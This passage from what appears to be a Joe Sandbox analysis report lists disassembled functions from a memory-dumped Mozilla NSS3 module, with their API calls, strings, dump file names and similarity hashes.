Part of subcall function 6C76DD70: TlsGetValue.KERNEL32 ref: 6C76DD8C
Part of subcall function 6C76DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C76DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C7D1193), ref: 6C7D1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C7D1193), ref: 6C7D1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C7D1193), ref: 6C7D1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C7D1193), ref: 6C7D1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C7D1193), ref: 6C7D1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C7D1193), ref: 6C7D1D93
PR_DestroyLock.NSS3(00000000,?,?,6C7D1193), ref: 6C7D1D9F
free.MOZGLUE(00000000,?,6C7D1193), ref: 6C7D1DA8

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 183dfb0e5e8c6f36de0eead66e19bcb85fcf2fc4cf8a78f61bcd1b02ac5429d1
Instruction ID: 0ba3b4d02a2d67cc410b7c1c372b8f5c22a637281e684b4c6c3522c51a75138c
Opcode Fuzzy Hash: 183dfb0e5e8c6f36de0eead66e19bcb85fcf2fc4cf8a78f61bcd1b02ac5429d1
Instruction Fuzzy Hash: 2331D5F1E003015BEB219F65AD46A577AE4AF0261CF044838E84A87F01FB31F818CBA6

Function 6C6E5E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6E5ECF
EnterCriticalSection.KERNEL32(?), ref: 6C6E5EE3
PR_Unlock.NSS3(?), ref: 6C6E5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C6E5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6E61F4
S&pl, xrefs: 6C6E62E3
S&pl, xrefs: 6C6E5E6C, 6C6E627F, 6C6E5F12

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&pl$S&pl
API String ID: 2280678669-1189984470
Opcode ID: 5c02cd70639b2c4d52d4cbdafbc2e5803535c54a4e9321457660e7531e85aaf8
Instruction ID: 62c41ecb0e7926a738be2e206b11a6225a010baa96b8bbe03901f8a1c29618d1
Opcode Fuzzy Hash: 5c02cd70639b2c4d52d4cbdafbc2e5803535c54a4e9321457660e7531e85aaf8
Instruction Fuzzy Hash: 83F116B4A052198FDB54CF28C984B86BBF4FF09304F1582AADD089B746D774EA84CF95

Function 6C730C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,sl), ref: 6C730C81

Part of subcall function 6C71BE30: SECOID_FindOID_Util.NSS3(6C6D311B,00000000,?,6C6D311B,?), ref: 6C71BE44

Part of subcall function 6C708500: SECOID_GetAlgorithmTag_Util.NSS3(6C7095DC,00000000,00000000,00000000,?,6C7095DC,00000000,00000000,?,6C6E7F4A,00000000,?,00000000,00000000), ref: 6C708517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C730CC4

Part of subcall function 6C71FAB0: free.MOZGLUE(?,-00000001,?,?,6C6BF673,00000000,00000000), ref: 6C71FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C730CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C730D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C730D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C730D7D
free.MOZGLUE(00000000), ref: 6C730DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C730DC1
free.MOZGLUE(00000000), ref: 6C730DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C730E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C730E0F

Part of subcall function 6C7095C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C6E7F4A,00000000,?,00000000,00000000), ref: 6C7095E0
Part of subcall function 6C7095C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C6E7F4A,00000000,?,00000000,00000000), ref: 6C7095F5
Part of subcall function 6C7095C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C709609
Part of subcall function 6C7095C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C70961D
Part of subcall function 6C7095C0: PK11_GetInternalSlot.NSS3 ref: 6C70970B
Part of subcall function 6C7095C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C709756
Part of subcall function 6C7095C0: PK11_GetIVLength.NSS3(?), ref: 6C709767
Part of subcall function 6C7095C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C70977E
Part of subcall function 6C7095C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C70978E

Strings

*,sl, xrefs: 6C730C69, 6C730DE0, 6C730C80, 6C730C8B, 6C730CAF
*,sl, xrefs: 6C730DCC
-$sl, xrefs: 6C730C64

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,sl$*,sl$-$sl
API String ID: 3136566230-2860232757
Opcode ID: 0442babc236795cf46c7dc69b5ffdd23a40fe65058c94438eb19d69af5960879
Instruction ID: ff7331a6109fabfa7f8be0c38a1caa3c2ab2933a0032d3a77cd1376358fa17a3
Opcode Fuzzy Hash: 0442babc236795cf46c7dc69b5ffdd23a40fe65058c94438eb19d69af5960879
Instruction Fuzzy Hash: C141C0F1901256ABEB019F64DD4ABAF7AB4BF05308F140034E91957B42E735AA18CBE6

Function 6C725CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C725EC0,00000000,?,?), ref: 6C725CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C725CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C725CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C725D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C725EC0,00000000,?,?), ref: 6C725D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C725D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C725D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C725D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C725D80

Strings

dbm:, xrefs: 6C725D03, 6C725D60
multiaccess:, xrefs: 6C725CB8
extern:, xrefs: 6C725CEA, 6C725D4B
sql:, xrefs: 6C725CD1, 6C725D36
NSS_DEFAULT_DB_TYPE, xrefs: 6C725D1A

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 0d51539eb007a2bb1d3d016ee311a8eab9a2228851ec90d880ca59d016b40ea2
Instruction ID: 3fa29c3afc27f3c5c45703259d1eeffe9e0599f763e551c3338e94a91b3b4bde
Opcode Fuzzy Hash: 0d51539eb007a2bb1d3d016ee311a8eab9a2228851ec90d880ca59d016b40ea2
Instruction Fuzzy Hash: 06313EB07423026BF7A11A24EECFB663BA8AF0274EF140430ED55E6B86E779D511C2D5

Function 6C726CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C7F1DE0,?), ref: 6C726CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C726D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C726D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C726D82
DER_GetInteger_Util.NSS3(?), ref: 6C726DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C726DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C726E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C726F19
PK11_DigestBegin.NSS3(00000000), ref: 6C726F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C726F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C727011
PK11_FreeSymKey.NSS3(00000000), ref: 6C727033
free.MOZGLUE(?), ref: 6C72703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C727060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C727087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C7270AF

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 39b6f40d4b2e451025e019f6a4cb5406f25b9606eb0aea97cd5a40e1a4034057
Instruction ID: 068700f6a666d19e8d7f08996fb8e8e27405c54a5de96b149d089ec67e571762
Opcode Fuzzy Hash: 39b6f40d4b2e451025e019f6a4cb5406f25b9606eb0aea97cd5a40e1a4034057
Instruction Fuzzy Hash: F7A12EB19052019BEF109B24CE45B5B7294EB8131CF24893FE914CBB85E77DDA49C793

Function 6C6EAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C6CAB95,00000000,?,00000000,00000000,00000000), ref: 6C6EAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C6CAB95,00000000,?,00000000,00000000,00000000), ref: 6C6EAF39
PR_Unlock.NSS3(?,?,?,6C6CAB95,00000000,?,00000000,00000000,00000000), ref: 6C6EAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C6CAB95,00000000,?,00000000,00000000,00000000), ref: 6C6EAF69
TlsGetValue.KERNEL32 ref: 6C6EB06B
EnterCriticalSection.KERNEL32(?), ref: 6C6EB083
PR_Unlock.NSS3(?), ref: 6C6EB0A4
TlsGetValue.KERNEL32 ref: 6C6EB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C6EB0D9
PR_Unlock.NSS3 ref: 6C6EB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6EB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6EB182

Part of subcall function 6C71FAB0: free.MOZGLUE(?,-00000001,?,?,6C6BF673,00000000,00000000), ref: 6C71FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C6EB177

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C6CAB95,00000000,?,00000000,00000000,00000000), ref: 6C6EB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C6CAB95,00000000,?,00000000,00000000,00000000), ref: 6C6EB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C6CAB95,00000000,?,00000000,00000000,00000000), ref: 6C6EB1C2

Part of subcall function 6C711560: TlsGetValue.KERNEL32(00000000,?,6C6E0844,?), ref: 6C71157A
Part of subcall function 6C711560: EnterCriticalSection.KERNEL32(?,?,?,6C6E0844,?), ref: 6C71158F
Part of subcall function 6C711560: PR_Unlock.NSS3(?,?,?,?,6C6E0844,?), ref: 6C7115B2

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: a22c244403c122b807ef963fe5bfe46bd4e18981f70a646bb3823f729b8cec19
Instruction ID: 8409378ac259098b43cad736cfdf5db343abd1a15f4f558a2cf3d428de49c795
Opcode Fuzzy Hash: a22c244403c122b807ef963fe5bfe46bd4e18981f70a646bb3823f729b8cec19
Instruction Fuzzy Hash: E2A1D0B1D042069FEF009F64DC45AEABBB4AF49318F144035E805A7B52E731E959CBE9

Function 6C6E2C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?nl,?,6C6DE477,?,?,?,00000001,00000000,?,?,6C6E3F23,?), ref: 6C6E2C62
EnterCriticalSection.KERNEL32(0000001C,?,6C6DE477,?,?,?,00000001,00000000,?,?,6C6E3F23,?), ref: 6C6E2C76
PL_HashTableLookup.NSS3(00000000,?,?,6C6DE477,?,?,?,00000001,00000000,?,?,6C6E3F23,?), ref: 6C6E2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C6DE477,?,?,?,00000001,00000000,?,?,6C6E3F23,?), ref: 6C6E2C93

Part of subcall function 6C76DD70: TlsGetValue.KERNEL32 ref: 6C76DD8C
Part of subcall function 6C76DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C76DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C6DE477,?,?,?,00000001,00000000,?,?,6C6E3F23,?), ref: 6C6E2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C6DE477,?,?,?,00000001,00000000,?,?,6C6E3F23,?), ref: 6C6E2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C6DE477,?,?,?,00000001,00000000,?,?,6C6E3F23), ref: 6C6E2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C6DE477,?,?,?,00000001,00000000,?), ref: 6C6E2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C6DE477,?,?,?,00000001,00000000,?), ref: 6C6E2D4D
EnterCriticalSection.KERNEL32(?), ref: 6C6E2D61
PL_HashTableLookup.NSS3(?,?), ref: 6C6E2D71
PR_Unlock.NSS3(?), ref: 6C6E2D7E

Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07AD
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07CD
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07D6
Part of subcall function 6C6B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C64204A), ref: 6C6B07E4
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,6C64204A), ref: 6C6B0864
Part of subcall function 6C6B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6B0880
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C64204A), ref: 6C6B08CB
Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(?,?,6C64204A), ref: 6C6B08D7
Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(?,?,6C64204A), ref: 6C6B08FB

Strings

#?nl, xrefs: 6C6E2C43

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?nl
API String ID: 2446853827-59643451
Opcode ID: 7bf4f0247b46fbd0b5d54a75ce75dcbb0491671930120f4e2380912557a70738
Instruction ID: fbd0c5714c84411326b4f14229faf2e02148582f2e8cd7cdf3b76a44c038bc50
Opcode Fuzzy Hash: 7bf4f0247b46fbd0b5d54a75ce75dcbb0491671930120f4e2380912557a70738
Instruction Fuzzy Hash: BE5138B6D00106ABDB009F24DC498AAB7B5FF0A34CB158531ED1897B12EB31ED64C7E9

Function 6C73AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C73ADB1

Part of subcall function 6C71BE30: SECOID_FindOID_Util.NSS3(6C6D311B,00000000,?,6C6D311B,?), ref: 6C71BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C73ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C73AE08

Part of subcall function 6C71B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7F18D0,?), ref: 6C71B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C73AE25
PL_FreeArenaPool.NSS3 ref: 6C73AE63
PR_CallOnce.NSS3(6C822AA4,6C7212D0), ref: 6C73AE4D

Part of subcall function 6C644C70: TlsGetValue.KERNEL32(?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644C97
Part of subcall function 6C644C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644CB0
Part of subcall function 6C644C70: PR_Unlock.NSS3(?,?,?,?,?,6C643921,6C8214E4,6C78CC70), ref: 6C644CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C73AE93
PR_CallOnce.NSS3(6C822AA4,6C7212D0), ref: 6C73AECC
PL_FreeArenaPool.NSS3 ref: 6C73AEDE
PL_FinishArenaPool.NSS3 ref: 6C73AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C73AEF5
PL_FinishArenaPool.NSS3 ref: 6C73AF16

Strings

security, xrefs: 6C73ADEE

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: e1a8bce57313b3588f095df4bcbc85c0d4597d0f6c802b966099d6693fd4660a
Instruction ID: 4b6153f11aec702110e45ec861bec716dad4a7437113260d3a7fa651d97650b8
Opcode Fuzzy Hash: e1a8bce57313b3588f095df4bcbc85c0d4597d0f6c802b966099d6693fd4660a
Instruction Fuzzy Hash: 14412EB194422067EF205B549E4FBAA32ACAF5232CF144535E85992F92F739E608C6D3

Function 6C755CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C752BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C752A28,00000060,00000001), ref: 6C752BF0
Part of subcall function 6C752BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C752A28,00000060,00000001), ref: 6C752C07
Part of subcall function 6C752BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C752A28,00000060,00000001), ref: 6C752C1E
Part of subcall function 6C752BE0: free.MOZGLUE(?,00000000,00000000,?,6C752A28,00000060,00000001), ref: 6C752C4A

free.MOZGLUE(?,?,6C75AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7580C1), ref: 6C755D0F
free.MOZGLUE(?,?,?,6C75AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7580C1), ref: 6C755D4E
free.MOZGLUE(?,?,?,6C75AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7580C1), ref: 6C755D62
free.MOZGLUE(?,?,?,?,6C75AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7580C1), ref: 6C755D85
free.MOZGLUE(?,?,?,?,6C75AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7580C1), ref: 6C755D99
free.MOZGLUE(?,?,?,?,6C75AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7580C1), ref: 6C755DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C75AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7580C1), ref: 6C755E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C75AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C755E3E
free.MOZGLUE(?,?,?,?,?,?,6C75AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C755E47
free.MOZGLUE(?,?,?,?,6C75AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7580C1), ref: 6C755E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C75AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C755E78
free.MOZGLUE(?,?,?,?,?,?,?,6C75AAD4), ref: 6C755EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C75AAD4), ref: 6C755EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C75AAD4), ref: 6C755F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C75AAD4), ref: 6C755F4B

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 21873db8631a60688a64bb6c95c54d3669a86ea4dcc5936afc3467ce01071aff
Instruction ID: 02cfeafdec1043d893fa041754f5db6866c27d31f7d2dba51286ffc96b58a2eb
Opcode Fuzzy Hash: 21873db8631a60688a64bb6c95c54d3669a86ea4dcc5936afc3467ce01071aff
Instruction Fuzzy Hash: 0871BEB5A00B019FD751CF20E989A92B7F5BF89308F148538E81E87B11EB31F965CB91

Function 6C6D8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C6D8E22
EnterCriticalSection.KERNEL32(?), ref: 6C6D8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C6D8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C6D8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C6D8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6D8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C6D8EDE
